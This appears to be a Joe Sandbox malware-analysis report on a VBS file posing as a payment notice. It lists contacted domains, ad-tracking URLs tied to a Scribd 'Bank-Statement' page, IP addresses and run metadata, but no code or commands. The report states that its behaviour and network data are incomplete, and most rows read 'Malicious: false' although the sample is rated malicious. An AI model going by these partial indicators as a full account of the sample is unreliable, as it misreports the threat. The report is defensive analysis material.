https://scribd.comaudit_pv10	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
chrome.cloudflare-dns.com	172.64.41.3	true	false	high
d2fashanjl7d9f.cloudfront.net	18.66.102.66	true	false	high
scribd.map.fastly.net	151.101.2.152	true	false	high
api.btloader.com	130.211.23.194	true	false	high
a416.dscd.akamai.net	2.19.11.120	true	false	high
global.px.quantserve.com	91.228.74.166	true	false	high
s.amazon-adsystem.com	98.82.157.137	true	false	high
ssl.bingadsedgeextension-prod-europe.azurewebsites.net	94.245.104.56	true	false	high
a.pub.network	104.18.20.206	true	false	high
d1ykf07e75w7ss.cloudfront.net	52.222.217.112	true	false	high
stripecdn.map.fastly.net	151.101.64.176	true	false	high
d.pub.network	34.160.152.31	true	false	high
fg.microsoft.map.fastly.net	199.232.214.172	true	false	high
c.pub.network	34.160.152.31	true	false	high
confiant-integrations.global.ssl.fastly.net	151.101.1.194	true	false	high
xspacet.wiki	185.39.18.56	true	false	high
d2gt2ux04o03l1.cloudfront.net	18.245.31.100	true	false	high
btloader.com	172.67.41.60	true	false	high
c.amazon-adsystem.com	unknown	unknown	false	high
cmp.quantcast.com	unknown	unknown	false	high
secure.quantserve.com	unknown	unknown	false	high
pixel.quantserve.com	unknown	unknown	false	high
wa.scribd.com	unknown	unknown	false	high
b.pub.network	unknown	unknown	false	high
rules.quantcount.com	unknown	unknown	false	high
cmp.osano.com	unknown	unknown	false	high
s-f.scribdassets.com	unknown	unknown	false	high
bzib.nelreports.net	unknown	unknown	false	high
html.scribdassets.com	unknown	unknown	false	high
www.scribd.com	unknown	unknown	false	high
js.stripe.com	unknown	unknown	false	high
api.scribd.com	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Reputation
https://eus.rubiconproject.com/usync.html?endpoint=us-east&p=insticator	false	high
https://grid-bidder.criteo.com/openrtb_2_5/pbjs/auction/request?profileId=207&av=37&wv=9.23.0&cb=16877948980&lsavail=1&networkId=6097	false	high
https://cs.ingage.tech/v1/syncPage/unruly?uid=OPTOUT	false	high
https://secure-assets.rubiconproject.com/utils/xapi/multi-sync.html?endpoint=us-east&p=rise_engage	false	high
https://cdn.id5-sync.com/api/1.0/id5-api.js	false	high
https://image8.pubmatic.com/AdServer/ImgSync?p=159706&gdpr=0&gdpr_consent=&us_privacy=&pu=https%3A%2F%2Fonetag-sys.com%2Fmatch%2F%3Fint_id%3D114%26gdpr%3D${GDPR}%26gdpr_consent%3D${GDPR_STRING}%26uid%3D%23PMUID	false	high
https://cdn.undertone.com/js/usersync.html?partnerid=59&gdpr=&gdpr_consent=&us_privacy=&redirect=https%3A%2F%2Fsync.cootlogix.com%2Fapi%2Fcookie%3FpartnerId%3Dundertonenew%26userId%3D%24%7BUIDENC%7D%26gdpr%3D%24%7Bgdpr%7D%26gdpr_consent%3D%24%7Bgdpr_consent%7D%26us_privacy%3D%24%7Bus_privacy%7D	false	high
https://clients2.googleusercontent.com/crx/blobs/ASuc5ohfQPNzGo5SSihcSk6msC8CUKw5id-p0KCEkBKwK2LS4AjdrDP0wa1qjzCTaTWEfyM52ADmUAdPETYA5vgD87UPEj6gyG11hjsvMLHGmzQgJ9F5D8s8Lo0Lbai5BQYAxlKa5esPJXukyaicyq83JwZ0HIWqzrjN/GHBMNNJOOEKPMOECNNNILNNBDLOLHKHI_1_86_1_0.crx	false	high
https://www.scribd.com/document/806838445/Bank-Statement	false	high
https://creativecdn.com/cm-notify?pi=rise	false	high
https://usr.undertone.com/userPixel/sync?partner=rubicon&uid=M7A5MT0O-13-DO11&us_privacy=1-N-	false	high
https://ssc-cms.33across.com/ps/?_=1739863215948.&ri=zzz000000000002zzz&gdpr_58=&gdpr=0&gdpr_consent=&us_privacy=1-N-&ru=https%3A%2F%2Fs2s.t13.io%2Fsetuid%3Fbidder%3D33across%26gdpr%3D%26gdpr_consent%3D%26us_privacy%3D1-N-%26gpp%3D%26gpp_sid%3D%26f%3Db%26uid%3D33XUSERID33X	false	high
https://usr.undertone.com/userPixel/sync?partnerId=39&uid=d3351913-5c43-42cd-ad4d-9fa9dbd98ee4	false	high
https://ad-delivery.net/px.gif?ch=2	false	high
https://id5-sync.com/s/441/9.gif?puid=u_40f4d0d1-7d43-400a-9ea4-194c05016048&gdpr=0&gdpr_consent=	false	high
https://sync.cootlogix.com/api/cookie?partnerId=unruly&userId=OPTOUT&us_privacy=1-N-	false	high
https://ib.adnxs.com/getuid?https%3A%2F%2Flive.primis.tech%2Flive%2FliveCS.php%3Fsource%3Dexternal%26advId%3D105%26advUuid%3D%24UID%26gdpr%3D0%26gdpr_consent%3D	false	high
https://ads.stickyadstv.com/user-matching?gdpr=0&gdpr_consent=&id=3663	false	high
https://id5-sync.com/s/441/9.gif?puid=u_7fb5b5e5-fe03-4853-b9a4-c08f05008c91&gdpr=0&gdpr_consent=	false	high
https://cs.yellowblue.io/cs?aid=11587&uid=e52952e5-ebc8-4e6b-85e8-7ec945393abe&gdpr=0	false	high
https://cm.adform.net/cookie?redirect_url=https%3A%2F%2Flive.primis.tech%2Flive%2FliveCS.php%3Fsource%3Dexternal%26advId%3D143%26advUuid%3D%24UID%26gdpr%3D0%26gdpr_consent%3D	false	high
https://cs-server-s2s.yellowblue.io/cs?fwrd=1&aid=11596&gdpr=[GDPR]&gdpr_consent=[USER_CONSENT]&id=2630127119070967565	false	high
https://openrtb-us-east-1.axonix.com/syn?redirect=https%3A%2F%2Fs2s.t13.io%2Fsetuid%3Fbidder%3Daxonix%26gdpr%3D%26gdpr_consent%3D%26us_privacy%3D1-N-%26gpp%3D%26gpp_sid%3D%26f%3Di%26uid%3DxxEMODO_IDxx	false	high
https://secure.adnxs.com/getuid?https://ids.ad.gt/api/v1/match?id=AU1D-0100-001739863208-59L27RBO-LEXM&adnxs_id=$UID&gdpr=0	false	high
https://ids.ad.gt/api/v1/g_hosted?id=AU1D-0100-001739863208-59L27RBO-LEXM	false	high
https://usr.undertone.com/userPixel/sync?partnerId=39&uid=fe11c210-333f-4fc3-9ab6-4f25b193c6dc&us_privacy=1-N-	false	high
https://secure.adnxs.com/getuid?https%3A%2F%2Fsync.cootlogix.com%2Fapi%2Fcookie%3FpartnerId%3Dappnexus%26userId%3D%24UID%26gdpr%3D%26gdpr_consent%3D%26us_privacy%3D&gdpr=&gdpr_consent=	false	high
https://cdn.btmessage.com/webfonts43j533.js	false	high
https://usr.undertone.com/userPixel/sync?partner=rubicon&uid=M7A5MT0O-13-DO11	false	high
https://match.adsrvr.org/track/cmb/generic?ttd_pid=sirnsvg&ttd_tpi=1&gdpr=0&gdpr_consent=	false	high
https://b1sync.zemanta.com/usersync/disqus?cb=https%3A%2F%2Fssp.disqus.com%2Fmatch%3Fbidder%3D33%26buyeruid%3D__ZUID__%26r%3DCid1YS1hNDc3YzRhYi01MjNlLTM3MDQtODA5My04YzVjYTM0ZjY3OGIqYmh0dHBzOi8vY3Mtc2VydmVyLXMycy55ZWxsb3dibHVlLmlvL2NzP2Z3cmQ9MSZhaWQ9MTE2MTImaWQ9dWEtYTQ3N2M0YWItNTIzZS0zNzA0LTgwOTMtOGM1Y2EzNGY2NzhiMgIhKTgB&gdpr=0&gdpr_consent=&obuid=9208f8df-5ee2-45ac-94a7-7e1f65005208&puid=ua-a477c4ab-523e-3704-8093-8c5ca34f678b&s=2&us_privacy=	false	high
https://sync.cootlogix.com/api/cookie?partnerId=openx&userId=c1e06d65-7a9e-4440-aa26-121ed8705058&gdpr=0&gdpr_consent=&us_privacy=1-N-	false	high
https://cdn.undertone.com/js/usersync.html?gdpr=&gdpr_consent=&us_privacy=1-N-&redirect=https%3A%2F%2Fs2s.t13.io%2Fsetuid%3Fbidder%3Dundertone%26gdpr%3D%26gdpr_consent%3D%26us_privacy%3D1-N-%26gpp%3D%26gpp_sid%3D%26f%3Db%26uid%3D%24UID	false	high
https://visitor-risecode.omnitagjs.com/visitor/bsync?name=risecode&uid=40a3c28f9ffc73ee86df2bac2d2bb390&url=https%3A%2F%2Fcs-server-s2s.yellowblue.io%2Fcs%3Ffwrd%3D1%26aid%3D11609%26id%3D%5BBUYER_ID%5D%0A	false	high
https://sync.ingage.tech/?gdpr=0&gdpr_consent=&us_privacy=&r=https%3A%2F%2Flive.primis.tech%2Flive%2FliveCS.php%3Fsource%3Dexternal%26advId%3D154%26advUuid%3D%24UID%26gdpr%3D0%26gdpr_consent%3D%26us_privacy%3D	false	high
https://html.scribdassets.com/9mqqvt5eyodq34so/fonts/0004.woff2	false	high
https://id5-sync.com/c/882/0/8/1.gif?gdpr=0&gdpr_consent=&gpp=DBACOe%7ECQNBgcAQNBgcAEXikAENA0EwAP_gAEPgACiQGpQCgAGgAcABoAEUAJgAUABHALhAXmA1IC84A4AHAAaABFACYAFAARwC8wAA%7EBQNBgcAQNBgcAEXikAENA0CgAf_AAIfAAAalAKAAaABwAGgARQAmABQAEcAuEBeYDUgLzgDgAcABoAEUAJgAUABHALzA%7E1-N-&gpp_sid=6&us_privacy=	false	high
https://bzib.nelreports.net/api/report?cat=bingbusiness	false	high
https://gem.gbc.criteo.com/newidsd	false	high
https://cs.ingage.tech/wdc/v1/sync/openx/65023955-4816-4674-89c6-bc6e7f69d9a0?uid=f774941a-45b7-4e8f-b6be-610608861271	false	high
https://cdn.hadronid.net/hadron.js?url=https%3A%2F%2Fwww.scribd.com%2Fdocument%2F806838445%2FBank-Statement&ref=&_it=freestar&partner_id=474&ha=_hadron	false	high
https://eus.rubiconproject.com/usync.html?p=12776&us_privacy=1-N-	false	high
https://prebid.cootlogix.com/prebid/multi/66bccd47a52481685a6ab90d	false	high
https://image8.pubmatic.com/AdServer/ImgSync?p=160318&gdpr=&gdpr_consent=&pu=https%3A%2F%2Fimage4.pubmatic.com%2FAdServer%2FSPug%3Fp%3D160318%26pmc%3DPM_PMC%26pr%3Dhttps%253A%252F%252Fusr.undertone.com%252FuserPixel%252Fsync%253FpartnerId%253D53%2526uid%253D%2523PMUID&us_privacy=1-N-	false	high
https://match.adsrvr.org/track/cmb/generic?ttd_pid=6gvshk1&ttd_tpi=1&ttd_puid=67b434a8abd6b&gdpr=0&gdpr_consent=	false	high
https://freestar-io.videoplayerhub.com/gallery.js	false	high
https://s2s.t13.io/cookie_sync	false	high
https://id5-sync.com/c/441/441/9/1.gif?puid=u_40f4d0d1-7d43-400a-9ea4-194c05016048&gdpr=0&gdpr_consent=&us_privacy=	false	high
https://b1sync.zemanta.com/usersync/disqus?puid=ua-a477c4ab-523e-3704-8093-8c5ca34f678b&gdpr=0&gdpr_consent=&us_privacy=&cb=https%3A%2F%2Fssp.disqus.com%2Fmatch%3Fbidder%3D33%26buyeruid%3D__ZUID__%26r%3DCid1YS1hNDc3YzRhYi01MjNlLTM3MDQtODA5My04YzVjYTM0ZjY3OGIqYmh0dHBzOi8vY3Mtc2VydmVyLXMycy55ZWxsb3dibHVlLmlvL2NzP2Z3cmQ9MSZhaWQ9MTE2MTImaWQ9dWEtYTQ3N2M0YWItNTIzZS0zNzA0LTgwOTMtOGM1Y2EzNGY2NzhiMgIhKTgB	false	high
https://fastlane.rubiconproject.com/a/api/fastlane.json?account_id=16924&site_id=499626&zone_id=2978060&size_id=15&alt_size_ids=13%2C14%2C19%2C44&us_privacy=1-N-&rp_schain=1.0,1!freestar.com,1651,1,,,&rf=https%3A%2F%2Fwww.scribd.com%2Fdocument%2F806838445%2FBank-Statement&tg_v.id=6153141f-7ee9-4f73-a36b-ee3a444bcc92&tg_i.domain=scribd.com&tg_i.page=https%3A%2F%2Fwww.scribd.com%2Fdocument%2F806838445%2FBank-Statement&tg_i.name=scribd-com&tg_i.cat=IAB5&tg_i.sectioncat=IAB5&tg_i.pagecat=IAB5&tg_i.mobile=0&tg_i.fs_optimized=false&tg_i.fs_site=6111&tg_i.fs_ad_product=banner&tg_i.pbadslot=%2F22797863291%2Fscribd_incontent_mrec_1&tk_flint=pbjs_lite_v9.23.0&x_source.tid=ec533ece-d1b5-4089-8ba4-85859ce36b86&l_pb_bid_id=1063c782a52f633e&p_screen_res=1280x1024&rp_secure=1&x_imp.ext.tid=ddb922b3-bd7e-4e77-bb97-1d00869cbcdb&p_site.mobile=0&rp_maxbids=1&p_gpid=%2F22797863291%2Fscribd_incontent_mrec_1&m_ch_ua=%22Microsoft%20Edge%22%7Cv%3D%22117%22%2C%22Not%3BA%3DBrand%22%7Cv%3D%228%22%2C%22Chromium%22%7Cv%3D%22117%22&m_ch_full_ver=%22Microsoft%20Edge%22%7Cv%3D%22117%22%2C%22Not%3BA%3DBrand%22%7Cv%3D%228%22%2C%22Chromium%22%7Cv%3D%22117%22&m_ch_mobile=%3F0&m_ch_platform=Windows&slots=1&rand=0.7114350854766698	false	high
https://api.btloader.com/pv?tid=ovOwWALge-wxNijYOo-9517edac5c&w=6212136826568704&o=5714937848528896&cv=2.1.75-1-gb0a1279&widget=false&checksum=1639592c&r=false&vr=1232x910&pageURL=https%3A%2F%2Fwww.scribd.com%2Fdocument%2F806838445%2FBank-Statement&sid=gnf6relSBV-LQbi5jGB-9517edac5c&pm=false&upapi=true	false	high
https://fid.agkn.com/f?apiKey=2111098132&r=https%3A%2F%2Fwww.scribd.com%2Fdocument%2F806838445%2FBank-Statement	false	high
https://ids.ad.gt/api/v1/match?id=AU1D-0100-001739863208-59L27RBO-LEXM&adnxs_id=2630127119070967565&gdpr=0	false	high
https://eb2.3lift.com/getuid?ld=1&gdpr=0&cmp_cs=&us_privacy=&redir=https%3A%2F%2Flive.primis.tech%2Flive%2FliveCS.php%3Fsource%3Dexternal%26advId%3D121%26advUuid%3D%24UID	false	high
https://cmp.osano.com/	false	high
https://match.adsrvr.org/track/cmf/generic?ttd_pid=6gvshk1&ttd_tpi=1&ttd_puid=67b434a8abd6b&gdpr=0&gdpr_consent=	false	high
https://api.btmessage.com/websiteconfig?bt_env=prod&o=5714937848528896&w=scribd.com&l=EN	false	high
https://s-f.scribdassets.com/webpack/monolith/8260.0186aa9e3e0089f26ff6.css	false	high
https://bh.contextweb.com/bh/rtset?ev=1&gdpr=0&gdpr_consent=&pid=562615&rurl=https%3A%2F%2Fcs-server-s2s.yellowblue.io%2Fcs%3Ffwrd%3D1%26aid%3D11592%26uid%3D%25%25VGUID%25%25&us_privacy=%5BUS_PRIVACY%5D	false	high
https://rtb.mfadsrvr.com/ul_cb/sync?ssp=onetag&ssp_user_id=0_9OdjXvCmt7TUg7XK4Dfizz9HcKMUga4_zi2GJyKEA&gdpr=0&gdpr_consent=	false	high
https://ads.stickyadstv.com/user-matching?id=3586&gdpr=0&gdpr_consent=	false	high
https://us-u.openx.net/w/1.0/cm?id=fba3d144-1026-4d31-a758-943b9545e305&r=https%3A%2F%2Fusr.undertone.com%2FuserPixel%2Fsync%3FpartnerId%3D39%26uid%3D%7BOPENX_ID%7D	false	high
https://secure-assets.rubiconproject.com/utils/xapi/multi-sync.html?p=vidazoo&endpoint=us-east	false	high
https://onetag-sys.com/match/?int_id=3&uid=dd39ddbb587285711a7fdd8ef6a12074&gdpr_consent=&gdpr=0	false	high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://scribd.comtsv10	Cookies.9.dr	false	Avira URL Cloud: safe	unknown
https://eus.rubiconproject.com/	000004.log.5.dr	false		high
https://docs.google.com/	manifest.json0.5.dr	false		high
https://cdn.undertone.com	Session_13384336793195297.5.dr	false		high
https://ads.pubmatic.com/	000004.log.5.dr	false		high
https://outlook.live.com/mail/inbox?isExtension=true&sharedHeader=1&nlp=1&client_flight=outlookedge	dfba5a95-154e-4882-a1d4-939cd4970c3d.tmp.5.dr	false		high
https://ads.pubmatic.com/AdServer/js/user_sync.html?p=159196&userIdMacro=PM_UID&gdpr=0&gdpr_consent=	Session_13384336793195297.5.dr	false		high
https://i.y.qq.com/n2/m/index.html	dfba5a95-154e-4882-a1d4-939cd4970c3d.tmp.5.dr	false		high
https://www.deezer.com/	dfba5a95-154e-4882-a1d4-939cd4970c3d.tmp.5.dr	false		high
https://cdn.undertone.com/js/usersync.html?partnerid=59&gdpr=&gdpr_consent=&us_privacy=&redirect=htt	Session_13384336793195297.5.dr	false		high
https://web.telegram.org/	dfba5a95-154e-4882-a1d4-939cd4970c3d.tmp.5.dr	false		high
https://a.nel.cloudflare.com/report/v4?s=shuhXSQhRGIdXvAX3dDP8Hr%2B68Xsyy4cnbHlp1EaugG%2FlcwJ72fYaQp	Reporting and NEL.9.dr	false		high
https://drive-daily-2.corp.google.com/	manifest.json0.5.dr	false		high
https://unitedstates1.ss.wd.microsoft.us/	edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.5.dr	false		high
http://crl.ver)	svchost.exe, 00000008.00000002.3349173450.00000286CE200000.00000004.00000020.00020000.00000000.sdmp	false		high
https://s.amazon-adsystem.com/iu3?cm3ppd=1&d=dtb-pub&csif=t&dl=n-mediagrid_n-index_rx_n-acuityads_n-	Session_13384336793195297.5.dr	false		high
https://drive-daily-5.corp.google.com/	manifest.json0.5.dr	false		high
https://gum.criteo.com/	000004.log.5.dr	false		high
https://scribd.comtluidp/BG	Cookies.9.dr	false	Avira URL Cloud: safe	unknown
https://x.bidswitch.net/	000004.log.5.dr	false		high
https://www.scribd.com/document/806838445/Bank-Statementz	wscript.exe, 00000000.00000002.2411820304.0000017E489F6000.00000004.00000020.00020000.00000000.sdmp	false		high
https://hde.tynt.com/	000004.log.5.dr	false		high
https://chrome.google.com/webstore/	manifest.json.5.dr	false		high
https://scribd.comts/d#	Cookies.9.dr	false	Avira URL Cloud: safe	unknown
https://scribd.comXANDR_PANIDv10	Cookies.9.dr	false	Avira URL Cloud: safe	unknown
https://js-sec.indexww.com/	000004.log.5.dr	false		high
https://scribd.comtluidpv10	Cookies.9.dr	false	Avira URL Cloud: safe	unknown
https://cdn.btmessage.com/	000004.log.5.dr	false		high
https://outlook.live.com/mail/0/	dfba5a95-154e-4882-a1d4-939cd4970c3d.tmp.5.dr	false		high
https://cdn.hadronid.net/hadron.js	000003.log8.5.dr	false		high
https://scribd.comaudit_pv10	Cookies.9.dr	false	Avira URL Cloud: safe	unknown
https://www.scribd.com/document/806838445/Bank-StatementBank	History.5.dr	false		high
https://www.scribd.com/document/806838445/Bank-StatementP	wscript.exe, 00000000.00000002.2411617553.0000017E48965000.00000004.00000020.00020000.00000000.sdmp	false		high
https://gaana.com/	dfba5a95-154e-4882-a1d4-939cd4970c3d.tmp.5.dr	false		high
https://www.scribd.com/document/806838445/Bank-Statement&	wscript.exe, 00000000.00000002.2411820304.0000017E48A2C000.00000004.00000020.00020000.00000000.sdmp	false		high
https://cs-server-s2s.yellowblue.io/	000004.log.5.dr, Session_13384336793195297.5.dr	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
91.228.74.200	unknown	United Kingdom	27281	QUANTCASTUS	false
35.186.247.156	unknown	United States	15169	GOOGLEUS	false
216.22.16.4	unknown	United States	30633	LEASEWEB-USA-WDCUS	false
216.22.16.5	unknown	United States	30633	LEASEWEB-USA-WDCUS	false
130.211.23.194	api.btloader.com	United States	15169	GOOGLEUS	false
52.26.122.59	unknown	United States	16509	AMAZON-02US	false
162.159.61.3	unknown	United States	13335	CLOUDFLARENETUS	false
13.226.34.90	unknown	United States	16509	AMAZON-02US	false
107.22.43.115	unknown	United States	14618	AMAZON-AESUS	false
23.219.82.72	unknown	United States	20940	AKAMAI-ASN1EU	false
98.84.213.37	unknown	United States	11351	TWC-11351-NORTHEASTUS	false
172.64.144.166	unknown	United States	13335	CLOUDFLARENETUS	false
35.71.131.137	unknown	United States	237	MERIT-AS-14US	false
69.173.146.10	unknown	United States	26667	RUBICONPROJECTUS	false
3.213.47.117	unknown	United States	14618	AMAZON-AESUS	false
3.238.235.175	unknown	United States	14618	AMAZON-AESUS	false
104.22.53.173	unknown	United States	13335	CLOUDFLARENETUS	false
3.168.102.69	unknown	United States	16509	AMAZON-02US	false
34.193.171.116	unknown	United States	14618	AMAZON-AESUS	false
155.204.117.12	unknown	Netherlands	8698	NationwideBuildingSocietyGB	false
108.139.29.127	unknown	United States	16509	AMAZON-02US	false
138.197.252.115	unknown	United States	14061	DIGITALOCEAN-ASNUS	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
52.202.84.250	unknown	United States	14618	AMAZON-AESUS	false
69.194.242.12	unknown	United States	6336	TURN-US-ASNUS	false
34.102.232.42	unknown	United States	15169	GOOGLEUS	false
104.18.26.216	unknown	United States	13335	CLOUDFLARENETUS	false
104.18.24.18	unknown	United States	13335	CLOUDFLARENETUS	false
172.67.74.207	unknown	United States	13335	CLOUDFLARENETUS	false
3.168.122.29	unknown	United States	16509	AMAZON-02US	false
54.152.94.70	unknown	United States	14618	AMAZON-AESUS	false
63.251.28.230	unknown	United States	26558	FREEWHEELUS	false
52.89.52.35	unknown	United States	16509	AMAZON-02US	false
151.101.194.217	unknown	United States	54113	FASTLYUS	false
142.251.40.194	unknown	United States	15169	GOOGLEUS	false
18.173.132.92	unknown	United States	3	MIT-GATEWAYSUS	false
51.222.241.100	unknown	France	16276	OVHFR	false
172.64.41.3	chrome.cloudflare-dns.com	United States	13335	CLOUDFLARENETUS	false
3.168.122.33	unknown	United States	16509	AMAZON-02US	false
18.233.208.147	unknown	United States	14618	AMAZON-AESUS	false
3.168.102.47	unknown	United States	16509	AMAZON-02US	false
104.77.221.133	unknown	United States	16625	AKAMAI-ASUS	false
172.67.41.60	btloader.com	United States	13335	CLOUDFLARENETUS	false
104.22.74.216	unknown	United States	13335	CLOUDFLARENETUS	false
23.201.191.176	unknown	United States	16625	AKAMAI-ASUS	false
142.251.35.168	unknown	United States	15169	GOOGLEUS	false
162.19.138.117	unknown	United States	209	CENTURYLINK-US-LEGACY-QWESTUS	false
13.249.91.114	unknown	United States	16509	AMAZON-02US	false
34.230.188.173	unknown	United States	14618	AMAZON-AESUS	false
151.101.194.152	unknown	United States	54113	FASTLYUS	false
54.221.198.206	unknown	United States	14618	AMAZON-AESUS	false
44.196.29.110	unknown	United States	14618	AMAZON-AESUS	false
35.207.24.140	unknown	United States	19527	GOOGLE-2US	false
68.67.160.24	unknown	United States	29990	ASN-APPNEXUS	false
34.96.67.224	unknown	United States	15169	GOOGLEUS	false
18.164.116.41	unknown	United States	3	MIT-GATEWAYSUS	false
108.138.112.90	unknown	United States	16509	AMAZON-02US	false
69.173.151.100	unknown	United States	26667	RUBICONPROJECTUS	false
18.173.219.68	unknown	United States	3	MIT-GATEWAYSUS	false
142.250.72.102	unknown	United States	15169	GOOGLEUS	false
207.65.37.179	unknown	United States	6203	ISDN-NETUS	false
18.245.31.100	d2gt2ux04o03l1.cloudfront.net	United States	16509	AMAZON-02US	false
104.77.220.25	unknown	United States	16625	AKAMAI-ASUS	false
74.119.117.5	unknown	United States	19750	AS-CRITEOUS	false
142.251.41.2	unknown	United States	15169	GOOGLEUS	false
34.117.239.71	unknown	United States	139070	GOOGLE-AS-APGoogleAsiaPacificPteLtdSG	false
82.145.213.8	unknown	United Kingdom	39832	NO-OPERANO	false
34.1.226.252	unknown	United States	2686	ATGS-MMD-ASUS	false
104.18.66.57	unknown	United States	13335	CLOUDFLARENETUS	false
18.164.96.16	unknown	United States	3	MIT-GATEWAYSUS	false
68.67.178.10	unknown	United States	29990	ASN-APPNEXUS	false
151.101.130.152	unknown	United States	54113	FASTLYUS	false
52.85.61.52	unknown	United States	16509	AMAZON-02US	false
69.192.109.53	unknown	United States	16625	AKAMAI-ASUS	false
151.101.1.194	confiant-integrations.global.ssl.fastly.net	United States	54113	FASTLYUS	false
18.238.55.90	unknown	United States	16509	AMAZON-02US	false
18.173.219.89	unknown	United States	3	MIT-GATEWAYSUS	false
104.26.7.141	unknown	United States	13335	CLOUDFLARENETUS	false
67.202.105.32	unknown	United States	32748	STEADFASTUS	false
54.191.118.160	unknown	United States	16509	AMAZON-02US	false
104.18.27.193	unknown	United States	13335	CLOUDFLARENETUS	false
67.202.105.34	unknown	United States	32748	STEADFASTUS	false
18.164.116.69	unknown	United States	3	MIT-GATEWAYSUS	false
35.186.253.211	unknown	United States	15169	GOOGLEUS	false
142.250.80.98	unknown	United States	15169	GOOGLEUS	false
34.111.113.62	unknown	United States	15169	GOOGLEUS	false
108.139.29.102	unknown	United States	16509	AMAZON-02US	false
18.164.96.110	unknown	United States	3	MIT-GATEWAYSUS	false
142.250.64.65	unknown	United States	15169	GOOGLEUS	false
23.201.174.84	unknown	United States	16625	AKAMAI-ASUS	false
2.19.11.120	a416.dscd.akamai.net	European Union	719	ELISA-ASHelsinkiFinlandEU	false
69.194.240.13	unknown	United States	6336	TURN-US-ASNUS	false
34.107.140.113	unknown	United States	15169	GOOGLEUS	false
52.201.83.25	unknown	United States	14618	AMAZON-AESUS	false
91.228.74.166	global.px.quantserve.com	United Kingdom	27281	QUANTCASTUS	false
23.199.48.23	unknown	United States	20940	AKAMAI-ASN1EU	false
23.219.161.132	unknown	United States	20940	AKAMAI-ASN1EU	false
98.82.157.137	s.amazon-adsystem.com	United States	11351	TWC-11351-NORTHEASTUS	false
34.107.165.188	unknown	United States	15169	GOOGLEUS	false

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1617736
Start date and time:	2025-02-18 08:18:53 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 6m 38s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	42
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	Payment_Activity_0104_2025-2-17.vbs
Detection:	MAL
Classification:	mal100.expl.evad.winVBS@120/298@63/100
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .vbs

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, consent.exe, RuntimeBroker.exe, WMIADAP.exe, SIHClient.exe, backgroundTaskHost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 142.250.185.238, 204.79.197.239, 13.107.21.239, 13.107.6.158, 13.107.42.16, 108.141.37.120, 172.217.16.200, 2.19.122.13, 2.19.122.14, 2.19.122.19, 2.19.122.12, 2.19.122.22, 2.19.122.16, 2.19.122.21, 2.19.122.11, 2.19.122.20, 48.209.144.71, 2.19.244.127, 199.232.210.172, 184.30.131.245, 199.232.214.172, 142.251.40.227, 142.250.81.227, 142.251.35.163, 142.251.40.131, 94.245.104.56, 142.250.64.110, 52.159.108.190, 23.200.0.6, 13.107.22.239, 13.107.253.45, 4.152.133.8, 40.126.31.67, 20.12.23.50, 13.107.246.40, 142.250.72.98, 142.251.32.106, 142.250.80.67, 142.251.40.129, 142.250.176.193
Excluded domains from analysis (whitelisted): nav-edge.smartscreen.microsoft.com, config.edge.skype.com.trafficmanager.net, slscr.update.microsoft.com, data-edge.smartscreen.microsoft.com, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, clients2.google.com, e86303.dscx.akamaiedge.net, ocsp.digicert.com, www.bing.com.edgekey.net, login.live.com, config-edge-skype.l-0007.l-msedge.net, www.googletagmanager.com, e16604.g.akamaiedge.net, msedge.b.tlu.dl.delivery.mp.microsoft.com, www.gstatic.com, l-0007.l-msedge.net, prod.fs.microsoft.com.akadns.net, config.edge.skype.com, star.b.tlu.dl.delivery.mp.microsoft.com.delivery.microsoft.com, www.google-analytics.com, www.bing.com, cdp-f-tlu-net.trafficmanager.net, edge-microsoft-com.dual-a-0036.a-msedge.net, fonts.googleapis.com, fs.microsoft.com, bingadsedgeextension-prod.trafficmanager.net, otelrules.azureedge.net, api.edgeoffer.microsoft.com, fonts.gstatic.com, ctldl.windowsupdate.com, b-0005.b-msedge.net, prod-atm
HTTPS sessions have been limited to 150. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing network information.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtCreateFile calls found.
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtWriteVirtualMemory calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
02:19:47	API Interceptor	121x Sleep call for process: powershell.exe modified
02:19:51	API Interceptor	2x Sleep call for process: svchost.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
162.159.61.3	Payment_Activity_0079_2025-2-17.vbs	Get hash	malicious	Unknown	Browse
	Payment_Activity_0079_2025-2-17.vbs	Get hash	malicious	Unknown	Browse
	Shipment-100032756.lnk	Get hash	malicious	Unknown	Browse
	MDE_File_Sample_baee32e2367a787814415d166abb7bc5b9061c5c.zip	Get hash	malicious	Unknown	Browse
	NexoPack Setup 1.0.0.exe	Get hash	malicious	Unknown	Browse
